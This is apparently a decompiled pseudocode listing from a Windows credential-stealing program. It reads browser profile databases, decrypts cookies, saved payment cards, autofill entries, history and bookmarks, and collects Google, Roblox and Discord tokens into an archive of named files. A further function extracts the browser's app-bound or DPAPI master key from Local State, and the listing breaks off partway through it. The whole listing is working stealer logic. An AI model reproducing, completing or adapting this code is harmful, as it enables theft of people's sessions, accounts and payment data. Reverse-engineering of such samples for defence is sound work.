| __imp__snwprintf_s(Buffer_2, 0x104u, 0xFFFFFFFFFFFFFFFFuLL, L"%s\\Network\\Cookies", v4); | |
| if ( (unsigned int)sub_140007F50(Buffer_2) ) | |
| { | |
| log("[#] Cookies read from Network/Cookies: %d bytes\n", 0); | |
| goto LABEL_58; | |
| } | |
| __imp__snwprintf_s(Buffer_2, 0x104u, 0xFFFFFFFFFFFFFFFFuLL, asc_1400794B2, v4); | |
| if ( (unsigned int)sub_140007F50(Buffer_2) ) | |
| { | |
| log("[#] Cookies read from Cookies: %d bytes\n", 0); | |
| LABEL_58: | |
| v20 = ((__int64 (__fastcall *)(void *, _QWORD, _OWORD *, __m128i *, _DWORD *))sub_1400099C0)( | |
| v149, | |
| 0, | |
| buf, | |
| buf_1, | |
| v169); | |
| if ( v20 ) | |
| { | |
| v115 = (int *)v20; | |
| log("[#] Parsed cookies: %d\n", *(_DWORD *)(v20 + 8)); | |
| if ( v115[2] > 0 ) | |
| { | |
| v150 = nullptr; | |
| v147 = 0; | |
| v79 = ((__int64 (__fastcall *)(int *, void **, unsigned int *))sub_140011900)(v115, &v150, &v147); | |
| v80 = v115; | |
| if ( v79 ) | |
| { | |
| _snprintf_s(Buffer_.m128i_i8, 520, -1, "%s/%s/cookies.json", Buffer, lpMultiByteStr); | |
| v96 = ((__int64 (__fastcall *)(LPSTR, void *, _QWORD, __m128i *))sub_140001480)(v177, v150, v147, &Buffer_); | |
| v97 = v115; | |
| if ( v96 == 1 ) | |
| { | |
| v14 = 1; | |
| log("[#] %s/%s: %d cookies decrypted\n", Buffer, (const char *)lpMultiByteStr, v115[2]); | |
| v97 = v115; | |
| } | |
| v129 = v97; | |
| free(v150); | |
| v80 = v129; | |
| } | |
| v127 = v80; | |
| v151 = nullptr; | |
| v148 = 0; | |
| v81 = ((__int64 (__fastcall *)(int *, void **, unsigned int *))sub_140012190)(v80, &v151, &v148); | |
| v82 = v127; | |
| if ( v81 ) | |
| { | |
| ((void (__fastcall *)(_QWORD, void **, void **))sub_14000BC80)( | |
| *(_QWORD *)(*(_QWORD *)v176 + 8LL), | |
| lpMultiByteStr, | |
| v156); | |
| _snprintf_s(Buffer_.m128i_i8, 520, -1, "Browser/Cookies/%s.txt", v156); | |
| ((void (__fastcall *)(LPSTR, void *, _QWORD, __m128i *))sub_140001480)(v177, v151, v148, &Buffer_); | |
| free(v151); | |
| v82 = v127; | |
| } | |
| if ( v110 ) | |
| { | |
| if ( v82[2] > 0 ) | |
| { | |
| v143 = v4; | |
| v83 = 0; | |
| v179 = v2; | |
| v84 = v82; | |
| Buffer_3 = Buffer_2; | |
| v85 = 0; | |
| v137 = v14; | |
| do | |
| { | |
| v89 = v110[2]; | |
| v90 = v110[3]; | |
| if ( (int)v89 < v90 | |
| || ((v91 = 2 * v90, (v92 = realloc(*(void **)v110, 9760LL * v90)) == nullptr) | |
| ? (v91 = v110[3]) | |
| : (*(_QWORD *)v110 = v92, v110[3] = v91), | |
| v89 = v110[2], | |
| (int)v89 < v91) ) | |
| { | |
| v86 = *(_QWORD *)v84; | |
| v87 = v89 + 1; | |
| dst = (void *)(*(_QWORD *)v110 + 4880 * v89); | |
| v110[2] = v87; | |
| qmemcpy(dst, (const void *)(v85 + v86), 0x1310u); | |
| } | |
| ++v83; | |
| v85 += 4880; | |
| } | |
| while ( v83 < v84[2] ); | |
| v82 = v84; | |
| v14 = v137; | |
| v4 = v143; | |
| Buffer_2 = Buffer_3; | |
| v2 = v179; | |
| } | |
| v131 = v82; | |
| free(*(void **)v82); | |
| free(v131); | |
| } | |
| else | |
| { | |
| v110 = v82; | |
| } | |
| v21 = v149; | |
| goto LABEL_62; | |
| } | |
| if ( v169[21] <= 0 ) | |
| { | |
| log("[#] %s/%s: Cookies empty (0 cookies)\n", Buffer, (const char *)lpMultiByteStr); | |
| sub_14000B400(v115); | |
| v21 = v149; | |
| LABEL_62: | |
| free(v21); | |
| v149 = nullptr; | |
| goto LABEL_16; | |
| } | |
| log("[!] %s/%s: %d cookies in DB, 0 decrypted - sending raw\n", Buffer, (const char *)lpMultiByteStr, v169[21]); | |
| sub_14000B400(v115); | |
| } | |
| else | |
| { | |
| log("[#] Parsed cookies: %d\n", -1); | |
| log("[!] %s/%s: Cookies parse FAILED\n", Buffer, (const char *)lpMultiByteStr); | |
| } | |
| v21 = v149; | |
| goto LABEL_62; | |
| } | |
| log("[#] Cookies file not readable\n"); | |
| LABEL_16: | |
| __imp__snwprintf_s(Buffer_2, 0x104u, 0xFFFFFFFFFFFFFFFFuLL, L"%s\\Web Data", v4); | |
| if ( (unsigned int)sub_140007F50(Buffer_2) ) | |
| { | |
| if ( (v2 & 4) == 0 ) | |
| goto LABEL_18; | |
| v47 = (int *)((__int64 (__fastcall *)(void *, _QWORD, _OWORD *))sub_14000A280)(v149, 0, buf); | |
| if ( !v47 ) | |
| goto LABEL_18; | |
| if ( v47[2] <= 0 ) | |
| { | |
| sub_14000B440(v47); | |
| goto LABEL_18; | |
| } | |
| v121 = v47; | |
| v156[0] = nullptr; | |
| LODWORD(v151) = 0; | |
| v48 = ((__int64 (__fastcall *)(int *, void **, void **))sub_140011C80)(v47, v156, &v151); | |
| v49 = v121; | |
| if ( v48 ) | |
| { | |
| _snprintf_s(Buffer_.m128i_i8, 520, -1, "%s/%s/payments.json", Buffer, lpMultiByteStr); | |
| v103 = ((__int64 (__fastcall *)(LPSTR, void *, _QWORD, __m128i *))sub_140001480)( | |
| v177, | |
| v156[0], | |
| (unsigned int)v151, | |
| &Buffer_); | |
| v104 = v121; | |
| if ( v103 == 1 ) | |
| { | |
| v14 = 1; | |
| log("[#] %s/%s: %d cards found\n", Buffer, (const char *)lpMultiByteStr, v121[2]); | |
| v104 = v121; | |
| } | |
| v132 = v104; | |
| free(v156[0]); | |
| v49 = v132; | |
| if ( v111 ) | |
| goto LABEL_104; | |
| } | |
| else if ( v111 ) | |
| { | |
| LABEL_104: | |
| if ( v49[2] > 0 ) | |
| { | |
| v139 = v4; | |
| v50 = 0; | |
| Buffer_4 = Buffer_2; | |
| v51 = 0; | |
| __imp__snwprintf_s_2 = __imp__snwprintf_s; | |
| v52 = v49; | |
| v135 = v14; | |
| do | |
| { | |
| while ( 1 ) | |
| { | |
| v56 = v111[2]; | |
| v57 = v111[3]; | |
| if ( v56 >= v57 ) | |
| { | |
| v58 = 2 * v57; | |
| v59 = realloc(*(void **)v111, 688LL * v57); | |
| if ( v59 ) | |
| { | |
| *(_QWORD *)v111 = v59; | |
| v111[3] = v58; | |
| } | |
| else | |
| { | |
| v58 = v111[3]; | |
| } | |
| v56 = v111[2]; | |
| if ( v56 >= v58 ) | |
| break; | |
| } | |
| v53 = *(_QWORD *)v52; | |
| ++v50; | |
| v111[2] = v56 + 1; | |
| v54 = (_QWORD *)(*(_QWORD *)v111 + 344LL * v56); | |
| v55 = (char *)(v51 + v53); | |
| v51 += 344; | |
| *v54 = *(_QWORD *)v55; | |
| v54[42] = *((_QWORD *)v55 + 42); | |
| qmemcpy( | |
| (void *)((unsigned __int64)(v54 + 1) & 0xFFFFFFFFFFFFFFF8uLL), | |
| (const void *)(v55 - ((char *)v54 - ((unsigned __int64)(v54 + 1) & 0xFFFFFFFFFFFFFFF8uLL))), | |
| 8LL * (((unsigned int)v54 - (((_DWORD)v54 + 8) & 0xFFFFFFF8) + 344) >> 3)); | |
| if ( v50 >= v52[2] ) | |
| goto LABEL_112; | |
| } | |
| ++v50; | |
| v51 += 344; | |
| } | |
| while ( v50 < v52[2] ); | |
| LABEL_112: | |
| v49 = v52; | |
| v14 = v135; | |
| v4 = v139; | |
| Buffer_2 = Buffer_4; | |
| __imp__snwprintf_s = __imp__snwprintf_s_2; | |
| } | |
| v122 = v49; | |
| free(*(void **)v49); | |
| free(v122); | |
| LABEL_18: | |
| if ( (v2 & 8) != 0 ) | |
| { | |
| v31 = (int *)((__int64 (__fastcall *)(void *, _QWORD))sub_14000A5C0)(v149, 0); | |
| if ( v31 ) | |
| { | |
| if ( v31[2] <= 0 ) | |
| { | |
| sub_14000B4A0(v31); | |
| } | |
| else | |
| { | |
| v117 = v31; | |
| v150 = nullptr; | |
| v147 = 0; | |
| v32 = ((__int64 (__fastcall *)(int *, void **, unsigned int *))sub_140011F30)(v31, &v150, &v147); | |
| v33 = v117; | |
| if ( v32 ) | |
| { | |
| _snprintf_s(Buffer_.m128i_i8, 520, -1, "%s/%s/autofills.json", Buffer, lpMultiByteStr); | |
| v105 = ((__int64 (__fastcall *)(LPSTR, void *, _QWORD, __m128i *))sub_140001480)( | |
| v177, | |
| v150, | |
| v147, | |
| &Buffer_); | |
| v106 = v117; | |
| if ( v105 == 1 ) | |
| { | |
| v14 = 1; | |
| log("[#] %s/%s: %d autofills found\n", Buffer, (const char *)lpMultiByteStr, v117[2]); | |
| v106 = v117; | |
| } | |
| v133 = v106; | |
| free(v150); | |
| v33 = v133; | |
| } | |
| v118 = v33; | |
| v151 = nullptr; | |
| v148 = 0; | |
| v34 = ((__int64 (__fastcall *)(int *, void **, unsigned int *))sub_140012880)(v33, &v151, &v148); | |
| v35 = v118; | |
| if ( v34 ) | |
| { | |
| ((void (__fastcall *)(_QWORD, void **, void **))sub_14000BC80)( | |
| *(_QWORD *)(*(_QWORD *)v176 + 8LL), | |
| lpMultiByteStr, | |
| v156); | |
| _snprintf_s(Buffer_.m128i_i8, 520, -1, "Browser/Autofills/%s.txt", v156); | |
| ((void (__fastcall *)(LPSTR, void *, _QWORD, __m128i *))sub_140001480)(v177, v151, v148, &Buffer_); | |
| free(v151); | |
| v35 = v118; | |
| if ( v13 ) | |
| goto LABEL_90; | |
| } | |
| else if ( v13 ) | |
| { | |
| LABEL_90: | |
| if ( v35[2] > 0 ) | |
| { | |
| v119 = v11; | |
| v36 = v14; | |
| v134 = v4; | |
| v37 = 0; | |
| Buffer_5 = Buffer_2; | |
| v38 = 0; | |
| __imp__snwprintf_s_3 = __imp__snwprintf_s; | |
| v39 = v35; | |
| do | |
| { | |
| while ( 1 ) | |
| { | |
| v43 = v13[2]; | |
| v44 = v13[3]; | |
| if ( v43 >= v44 ) | |
| { | |
| v45 = 2 * v44; | |
| v46 = realloc(*(void **)v13, 8704LL * v44); | |
| if ( v46 ) | |
| { | |
| *(_QWORD *)v13 = v46; | |
| v13[3] = v45; | |
| } | |
| else | |
| { | |
| v45 = v13[3]; | |
| } | |
| v43 = v13[2]; | |
| if ( v43 >= v45 ) | |
| break; | |
| } | |
| v40 = *(_QWORD *)v39; | |
| ++v37; | |
| v13[2] = v43 + 1; | |
| v41 = (_QWORD *)(*(_QWORD *)v13 + 4352LL * v43); | |
| v42 = (char *)(v38 + v40); | |
| v38 += 4352; | |
| *v41 = *(_QWORD *)v42; | |
| v41[543] = *((_QWORD *)v42 + 543); | |
| qmemcpy( | |
| (void *)((unsigned __int64)(v41 + 1) & 0xFFFFFFFFFFFFFFF8uLL), | |
| (const void *)(v42 - ((char *)v41 - ((unsigned __int64)(v41 + 1) & 0xFFFFFFFFFFFFFFF8uLL))), | |
| 8LL * (((unsigned int)v41 - (((_DWORD)v41 + 8) & 0xFFFFFFF8) + 4352) >> 3)); | |
| if ( v37 >= v39[2] ) | |
| goto LABEL_98; | |
| } | |
| ++v37; | |
| v38 += 4352; | |
| } | |
| while ( v37 < v39[2] ); | |
| LABEL_98: | |
| v14 = v36; | |
| v35 = v39; | |
| v11 = v119; | |
| v4 = v134; | |
| Buffer_2 = Buffer_5; | |
| __imp__snwprintf_s = __imp__snwprintf_s_3; | |
| } | |
| v120 = v35; | |
| free(*(void **)v35); | |
| free(v120); | |
| goto LABEL_19; | |
| } | |
| v13 = v35; | |
| } | |
| } | |
| } | |
| LABEL_19: | |
| free(v149); | |
| v149 = nullptr; | |
| goto LABEL_20; | |
| } | |
| v111 = v49; | |
| goto LABEL_18; | |
| } | |
| LABEL_20: | |
| if ( (v2 & 0x10) != 0 ) | |
| { | |
| __imp__snwprintf_s(Buffer_2, 0x104u, 0xFFFFFFFFFFFFFFFFuLL, L"%s\\History", v4); | |
| if ( (unsigned int)sub_140007F50(Buffer_2) ) | |
| { | |
| v123 = ((__int64 (__fastcall *)(void *, _QWORD))sub_14000A710)(v149, 0); | |
| free(v149); | |
| v60 = (void *)v123; | |
| v149 = nullptr; | |
| if ( v123 ) | |
| { | |
| if ( *(int *)(v123 + 8) > 0 ) | |
| { | |
| v151 = nullptr; | |
| LODWORD(v150) = 0; | |
| v99 = ((__int64 (__fastcall *)(__int64, void **, void **))sub_1400129B0)(v123, &v151, &v150); | |
| v60 = (void *)v123; | |
| if ( v99 ) | |
| { | |
| ((void (__fastcall *)(_QWORD, void **, void **))sub_14000BC80)( | |
| *(_QWORD *)(*(_QWORD *)v176 + 8LL), | |
| lpMultiByteStr, | |
| v156); | |
| _snprintf_s(Buffer_.m128i_i8, 520, -1, "Browser/History/%s.txt", v156); | |
| v100 = ((__int64 (__fastcall *)(LPSTR, void *, _QWORD, __m128i *))sub_140001480)( | |
| v177, | |
| v151, | |
| (unsigned int)v150, | |
| &Buffer_); | |
| v101 = v123; | |
| if ( v100 == 1 ) | |
| { | |
| v14 = 1; | |
| log("[#] %s/%s: %d history entries\n", Buffer, (const char *)lpMultiByteStr, *(_DWORD *)(v123 + 8)); | |
| v101 = v123; | |
| } | |
| v130 = (void *)v101; | |
| free(v151); | |
| v60 = v130; | |
| } | |
| } | |
| sub_14000B4E0(v60); | |
| } | |
| } | |
| __imp__snwprintf_s(Buffer_2, 0x104u, 0xFFFFFFFFFFFFFFFFuLL, L"%s\\Bookmarks", v4); | |
| if ( (unsigned int)sub_140007F50(Buffer_2) ) | |
| { | |
| v116 = (_DWORD *)sub_14000A920((char *)v149); | |
| free(v149); | |
| v30 = v116; | |
| v149 = nullptr; | |
| if ( v116 ) | |
| { | |
| if ( (int)v116[2] > 0 ) | |
| { | |
| v151 = nullptr; | |
| LODWORD(v150) = 0; | |
| v98 = ((__int64 (__fastcall *)(_DWORD *, void **, void **))sub_140012C30)(v116, &v151, &v150); | |
| v30 = v116; | |
| if ( v98 ) | |
| { | |
| ((void (__fastcall *)(_QWORD, void **, void **))sub_14000BC80)( | |
| *(_QWORD *)(*(_QWORD *)v176 + 8LL), | |
| lpMultiByteStr, | |
| v156); | |
| _snprintf_s(Buffer_.m128i_i8, 520, -1, "Browser/Bookmarks/%s.txt", v156); | |
| if ( (unsigned int)((__int64 (__fastcall *)(LPSTR, void *, _QWORD, __m128i *))sub_140001480)( | |
| v177, | |
| v151, | |
| (unsigned int)v150, | |
| &Buffer_) == 1 ) | |
| { | |
| log("[#] %s/%s: %d bookmarks\n", Buffer, (const char *)lpMultiByteStr, v116[2]); | |
| free(v151); | |
| sub_14000B520(v116); | |
| v109 = 1; | |
| goto LABEL_22; | |
| } | |
| free(v151); | |
| v30 = v116; | |
| } | |
| } | |
| sub_14000B520(v30); | |
| } | |
| } | |
| } | |
| v109 |= v14; | |
| LABEL_22: | |
| v156[0] = nullptr; | |
| LODWORD(v150) = 0; | |
| __imp__snwprintf_s((wchar_t *const)&Buffer_, 0x104u, 0xFFFFFFFFFFFFFFFFuLL, L"%s\\Web Data", v4); | |
| if ( (unsigned int)sub_140007F50((LPCWCH)&Buffer_) ) | |
| { | |
| v29 = (_DWORD *)((__int64 (__fastcall *)(void *, _QWORD, _OWORD *))sub_14000B010)( | |
| v156[0], | |
| (unsigned int)v150, | |
| buf); | |
| free(v156[0]); | |
| if ( v29 ) | |
| { | |
| if ( (int)v29[2] > 0 ) | |
| { | |
| v158 = nullptr; | |
| LODWORD(v151) = 0; | |
| if ( (unsigned int)((__int64 (__fastcall *)(_DWORD *, wchar_t *, void **))sub_140012EC0)(v29, Buffer_2, &v151) ) | |
| { | |
| _snprintf_s(Buffer_1, 260, -1, "%s/%s/google_tokens.json", Buffer, lpMultiByteStr); | |
| ((void (__fastcall *)(LPSTR, void *, _QWORD, _BYTE *))sub_140001480)( | |
| v177, | |
| v158, | |
| (unsigned int)v151, | |
| Buffer_1); | |
| free(v158); | |
| log("[#] %s/%s: %d Google tokens\n", Buffer, (const char *)lpMultiByteStr, v29[2]); | |
| } | |
| } | |
| sub_14000B560(v29); | |
| } | |
| } | |
| ++v11; | |
| v4 = (__m128i *)((char *)v4 + 648); | |
| } | |
| while ( v168 > v11 ); | |
| v108 = v13; | |
| v6 = v176 + 4; | |
| LABEL_25: | |
| lpMultiByteStr[0] = nullptr; | |
| LODWORD(v150) = 0; | |
| __imp__snwprintf_s((wchar_t *const)&Buffer_, 0x104u, 0xFFFFFFFFFFFFFFFFuLL, asc_14007977A, v6); | |
| if ( (unsigned int)sub_140007F50((LPCWCH)&Buffer_) ) | |
| { | |
| v64 = (_DWORD *)((__int64 (__fastcall *)(void *, _QWORD, _OWORD *))sub_14000A9B0)( | |
| lpMultiByteStr[0], | |
| (unsigned int)v150, | |
| buf); | |
| free(lpMultiByteStr[0]); | |
| if ( v64 ) | |
| { | |
| if ( (int)v64[2] > 0 ) | |
| { | |
| v156[0] = nullptr; | |
| LODWORD(v151) = 0; | |
| if ( (unsigned int)((__int64 (__fastcall *)(_DWORD *, void **, void **))sub_140012EC0)(v64, v156, &v151) ) | |
| { | |
| _snprintf_s((char *const)Buffer_2, 256, -1, "%s/Default/google_tokens_local_state.json", Buffer); | |
| ((void (__fastcall *)(LPSTR, void *, _QWORD, wchar_t *))sub_140001480)( | |
| v177, | |
| v156[0], | |
| (unsigned int)v151, | |
| Buffer_2); | |
| free(v156[0]); | |
| log("[#] %s: %d Google tokens from Local State\n", *(const char **)(*(_QWORD *)v176 + 8LL), v64[2]); | |
| } | |
| } | |
| sub_14000B560(v64); | |
| } | |
| } | |
| if ( !v110 ) | |
| goto LABEL_28; | |
| if ( v110[2] <= 0 ) | |
| goto LABEL_28; | |
| v22 = (int *)((__int64 (__fastcall *)(int *, _QWORD, _QWORD))sub_14000B620)( | |
| v110, | |
| *(_QWORD *)(*(_QWORD *)v176 + 8LL), | |
| 0); | |
| v15 = v22; | |
| if ( !v22 ) | |
| goto LABEL_28; | |
| if ( v22[2] <= 0 ) | |
| { | |
| sub_14000B5C0(v22); | |
| LABEL_28: | |
| v15 = nullptr; | |
| goto LABEL_29; | |
| } | |
| v158 = nullptr; | |
| LODWORD(v156[0]) = 0; | |
| if ( (unsigned int)((__int64 (__fastcall *)(int *, wchar_t *, void **))sub_140013160)(v22, Buffer_2, v156) ) | |
| { | |
| _snprintf_s(Buffer_.m128i_i8, 256, -1, "Soft/Roblox/%s_cookies.txt", *(_QWORD *)(*(_QWORD *)v176 + 8LL)); | |
| ((void (__fastcall *)(LPSTR, void *, _QWORD, __m128i *))sub_140001480)(v177, v158, LODWORD(v156[0]), &Buffer_); | |
| free(v158); | |
| log("[#] %s: %d Roblox tokens from cookies\n", *(const char **)(*(_QWORD *)v176 + 8LL), v15[2]); | |
| } | |
| LABEL_29: | |
| ((void (__fastcall *)(wchar_t *))sub_140014780)(Buffer_2); | |
| if ( (unsigned int)((__int64 (__fastcall *)(const WCHAR *, wchar_t *))sub_140015350)(v6, Buffer_2) && v159 > 0 ) | |
| { | |
| _snprintf_s(Buffer_.m128i_i8, 256, -1, "Soft/Discord/%s_tokens.txt", *(_QWORD *)(*(_QWORD *)v176 + 8LL)); | |
| ((void (__fastcall *)(LPSTR, wchar_t *, __m128i *))sub_140015660)(v177, Buffer_2, &Buffer_); | |
| log("[#] %s: %d Discord tokens from browser LevelDB\n", *(const char **)(*(_QWORD *)v176 + 8LL), v159); | |
| } | |
| ((void (__fastcall *)(wchar_t *))sub_1400152E0)(Buffer_2); | |
| if ( v112 ) | |
| Destination[16] = v112[2]; | |
| if ( v111 ) | |
| Destination[18] = v111[2]; | |
| v16 = v169[6426]; | |
| if ( !v110 ) | |
| { | |
| if ( v108 ) | |
| { | |
| Destination[19] = v108[2]; | |
| if ( v16 <= 0 ) | |
| { | |
| if ( !v112 ) | |
| { | |
| if ( v111 ) | |
| goto LABEL_214; | |
| goto LABEL_45; | |
| } | |
| sub_14000B3A0(v112); | |
| if ( !v111 ) | |
| goto LABEL_45; | |
| LABEL_43: | |
| sub_14000B440(v111); | |
| LABEL_44: | |
| if ( v108 ) | |
| goto LABEL_45; | |
| goto LABEL_46; | |
| } | |
| goto LABEL_69; | |
| } | |
| if ( v169[6426] <= 0 ) | |
| { | |
| if ( v112 ) | |
| { | |
| sub_14000B3A0(v112); | |
| goto LABEL_42; | |
| } | |
| if ( !v111 ) | |
| goto LABEL_46; | |
| goto LABEL_200; | |
| } | |
| LABEL_69: | |
| v23 = sub_140027430(&Buffer_, 0x8000, "\n=== %s Decryption Log ===\n", *(const char **)(*(_QWORD *)v176 + 8LL)); | |
| if ( v169[6426] > 0 ) | |
| { | |
| v24 = (const char *)&v169[26]; | |
| n100 = 0; | |
| do | |
| { | |
| v26 = v24; | |
| ++n100; | |
| v24 += 256; | |
| v23 += sub_140027430(&Buffer_.m128i_i8[v23], 0x8000LL - v23, "%s\n", v26); | |
| } | |
| while ( v169[6426] > n100 && n100 != 100 ); | |
| } | |
| v27 = v23 | |
| + sub_140027430( | |
| &Buffer_.m128i_i8[v23], | |
| 0x8000LL - v23, | |
| "\nPasswords: v10=%d, v20=%d, dpapi=%d, failed=%d\n", | |
| v169[17], | |
| v169[18], | |
| v169[19], | |
| v169[20]); | |
| v28 = sub_140027430( | |
| &Buffer_.m128i_i8[v27], | |
| 0x8000LL - v27, | |
| "Cookies: v10=%d, v20=%d, dpapi=%d, failed=%d\n", | |
| v169[22], | |
| v169[23], | |
| v169[24], | |
| v169[25]) | |
| + v27; | |
| _snprintf_s(Buffer_1, 260, -1, "%s/decrypt_log.txt", Buffer); | |
| ((void (__fastcall *)(LPSTR, __m128i *, _QWORD, _BYTE *))sub_140001480)(v177, &Buffer_, v28, Buffer_1); | |
| Destination[21] = 1; | |
| memcpy(Destination + 22, v169, 0x646Cu); | |
| if ( v112 ) | |
| sub_14000B3A0(v112); | |
| if ( v110 ) | |
| LABEL_41: | |
| sub_14000B400(v110); | |
| LABEL_42: | |
| if ( !v111 ) | |
| goto LABEL_44; | |
| goto LABEL_43; | |
| } | |
| Destination[17] = v110[2]; | |
| if ( !v108 ) | |
| { | |
| if ( v16 <= 0 ) | |
| { | |
| if ( !v112 ) | |
| { | |
| sub_14000B400(v110); | |
| v102 = v111; | |
| if ( !v111 ) | |
| goto LABEL_46; | |
| LABEL_201: | |
| sub_14000B440(v102); | |
| goto LABEL_46; | |
| } | |
| sub_14000B3A0(v112); | |
| sub_14000B400(v110); | |
| if ( !v111 ) | |
| goto LABEL_46; | |
| LABEL_200: | |
| v102 = v111; | |
| goto LABEL_201; | |
| } | |
| goto LABEL_69; | |
| } | |
| Destination[19] = v108[2]; | |
| if ( v16 > 0 ) | |
| goto LABEL_69; | |
| if ( v112 ) | |
| { | |
| sub_14000B3A0(v112); | |
| goto LABEL_41; | |
| } | |
| sub_14000B400(v110); | |
| if ( v111 ) | |
| LABEL_214: | |
| sub_14000B440(v111); | |
| LABEL_45: | |
| sub_14000B4A0(v108); | |
| LABEL_46: | |
| if ( v15 ) | |
| sub_14000B5C0(v15); | |
| memset(buf, 0, sizeof(buf)); | |
| memset(buf_2, 0, sizeof(buf_2)); | |
| return v109; | |
| } | |
| // positive sp value has been detected, the output may be wrong! | |
| __int64 abe_extract_master_key() | |
| { | |
| _QWORD *v0; // rdx | |
| __m128i *v1; // rbx | |
| __int64 v2; // rcx | |
| unsigned int v3; // ebp | |
| void *v4; // rdi | |
| int v5; // r12d | |
| const char *ABE; // rdx | |
| int v7; // eax | |
| DWORD n4; // esi | |
| int n63; // eax | |
| unsigned int n8_1; // edx | |
| __int8 *v11; // rax | |
| int n63_1; // edx | |
| int n63_2; // ecx | |
| unsigned int n8; // edx | |
| __int64 v16; // rdx | |
| __int64 v17; // r8 | |
| unsigned int n8_3; // edx | |
| __int8 *v19; // rax | |
| BYTE *pbData; // rdx | |
| DWORD n8_2; // r12d | |
| BYTE *v22; // rsi | |
| __int8 *v23; // rax | |
| size_t n50_2; // rax | |
| __m128i *pcbBinary; // r9 | |
| char *pszString_1; // rcx | |
| unsigned __int64 n50_1; // rdx | |
| __int64 n50; // rax | |
| __int64 n2; // r8 | |
| __int64 v30; // rcx | |
| __int64 v31; // r8 | |
| __m128i v32; // xmm2 | |
| __m128i v33; // xmm3 | |
| __int8 *v34; // rcx | |
| __m128i v35; // xmm4 | |
| __m128i v36; // xmm5 | |
| __int64 v37; // [rsp+20h] [rbp-2298h] | |
| __int64 v38; // [rsp+28h] [rbp-2290h] | |
| __int64 v39; // [rsp+30h] [rbp-2288h] | |
| int v40; // [rsp+50h] [rbp-2268h] BYREF | |
| unsigned int n512; // [rsp+54h] [rbp-2264h] BYREF | |
| void *v42; // [rsp+58h] [rbp-2260h] BYREF | |
| DATA_BLOB pDataIn_; // [rsp+60h] [rbp-2258h] BYREF | |
| DATA_BLOB pDataOut_; // [rsp+70h] [rbp-2248h] BYREF | |
| __m128i pcbBinary_; // [rsp+80h] [rbp-2238h] BYREF | |
| __m128i v46[31]; // [rsp+90h] [rbp-2228h] BYREF | |
| char pszString[4096]; // [rsp+280h] [rbp-2038h] BYREF | |
| int pbBinary_; // [rsp+1280h] [rbp-1038h] BYREF | |
| _QWORD v49[516]; // [rsp+1284h] [rbp-1034h] BYREF | |
| sub_140027320(); | |
| v1 = (__m128i *)v0; | |
| v40 = 0; | |
| v42 = nullptr; | |
| *v0 = 0; | |
| *(_QWORD *)((char *)v0 + 4132) = 0; | |
| memset( | |
| (void *)((unsigned __int64)(v0 + 1) & 0xFFFFFFFFFFFFFFF8uLL), | |
| 0, | |
| 8LL * (((unsigned int)v0 - (((_DWORD)v0 + 8) & 0xFFFFFFF8) + 4140) >> 3)); | |
| v3 = ((__int64 (__fastcall *)(__int64, void **, int *))sub_14000EDA0)(v2, &v42, &v40); | |
| if ( !v3 ) | |
| { | |
| log("[-] Cannot read Local State file\n"); | |
| return 0; | |
| } | |
| log("[#] Local State size: %lu bytes\n", v40); | |
| v4 = v42; | |
| v5 = ((__int64 (__fastcall *)(void *, char *, __int64))sub_14000EEE0)(v42, pszString, 4096); | |
| if ( v5 ) | |
| { | |
| log("[#] Found app_bound_encrypted_key\n"); | |
| free(v4); | |
| ABE = "ABE"; | |
| } | |
| else | |
| { | |
| if ( !(unsigned int)((__int64 (__fastcall *)(void *, char *, __int64))sub_14000EF60)(v4, pszString, 4096) ) | |
| { | |
| log("[-] No encryption keys found in Local State\n"); | |
| free(v4); | |
| return 0; | |
| } | |
| log("[#] Found encrypted_key (old format)\n"); | |
| free(v4); | |
| ABE = "DPAPI"; | |
| } | |
| log("[#] Key source: %s\n", ABE); | |
| v7 = strlen(pszString); | |
| log("[#] Base64 length: %d\n", v7); | |
| pcbBinary_.m128i_i32[0] = 4096; | |
| if ( !CryptStringToBinaryA(pszString, 0, 1u, (BYTE *)&pbBinary_, (DWORD *)&pcbBinary_, nullptr, nullptr) ) | |
| { | |
| n50_2 = strlen(pszString); | |
| pcbBinary = &pcbBinary_; | |
| pszString_1 = pszString; | |
| n50_1 = n50_2; | |
| n50 = 50; | |
| if ( n50_1 <= 0x32 ) | |
| n50 = n50_1; | |
| if ( (unsigned int)n50 >= 8 ) | |
| { | |
| LODWORD(v30) = 0; | |
| do | |
| { | |
| v31 = (unsigned int)v30; | |
| v30 = (unsigned int)(v30 + 8); | |
| *(__int64 *)((char *)pcbBinary_.m128i_i64 + v31) = *(_QWORD *)&pszString[v31]; | |
| } | |
| while ( (unsigned int)v30 < ((unsigned int)n50 & 0xFFFFFFF8) ); | |
| pcbBinary = (__m128i *)((char *)&pcbBinary_ + v30); | |
| pszString_1 = &pszString[v30]; | |
| } | |
| n2 = 0; | |
| if ( (n50 & 4) != 0 ) | |
| { | |
| pcbBinary->m128i_i32[0] = *(_DWORD *)pszString_1; | |
| n2 = 2; | |
| } | |
| if ( (n50 & 2) != 0 ) | |
| { | |
| pcbBinary->m128i_i16[n2] = *(_WORD *)&pszString_1[n2 * 2]; | |
| ++n2; | |
| } | |
| if ( (n50 & 1) != 0 ) | |
| pcbBinary->m128i_i8[n2 * 2] = pszString_1[n2 * 2]; | |
| pcbBinary_.m128i_i8[n50] = 0; | |
| log("[-] Base64 decode failed (len=%d, preview: %.50s...)\n", n50_1, pcbBinary_.m128i_i8); | |
| return 0; | |
| } | |
| n4 = pcbBinary_.m128i_i32[0]; | |
| n63 = LOBYTE(v49[0]); | |
| if ( pcbBinary_.m128i_i32[0] > 4u ) | |
| goto LABEL_27; | |
| if ( pcbBinary_.m128i_i32[0] == 4 ) | |
| { | |
| n63 = 63; | |
| LABEL_27: | |
| n63_1 = HIBYTE(pbBinary_); | |
| LABEL_28: | |
| n63_2 = BYTE2(pbBinary_); | |
| goto LABEL_29; | |
| } | |
| if ( pcbBinary_.m128i_i32[0] == 3 ) | |
| { | |
| n63_1 = 63; | |
| n63 = 63; | |
| goto LABEL_28; | |
| } | |
| if ( pcbBinary_.m128i_i32[0] != 2 ) | |
| { | |
| LODWORD(v39) = 63; | |
| LODWORD(v38) = 63; | |
| if ( pcbBinary_.m128i_i32[0] ) | |
| { | |
| n4 = 1; | |
| LODWORD(v37) = 63; | |
| log("[#] Decoded size: %lu bytes, prefix: %c%c%c%c%c\n", 1, (unsigned __int8)pbBinary_, 63, v37, v38, v39); | |
| } | |
| else | |
| { | |
| LODWORD(v37) = 63; | |
| log("[#] Decoded size: %lu bytes, prefix: %c%c%c%c%c\n", 0, 63, 63, v37, v38, v39); | |
| } | |
| goto LABEL_12; | |
| } | |
| n63_2 = 63; | |
| n63_1 = 63; | |
| n63 = 63; | |
| LABEL_29: | |
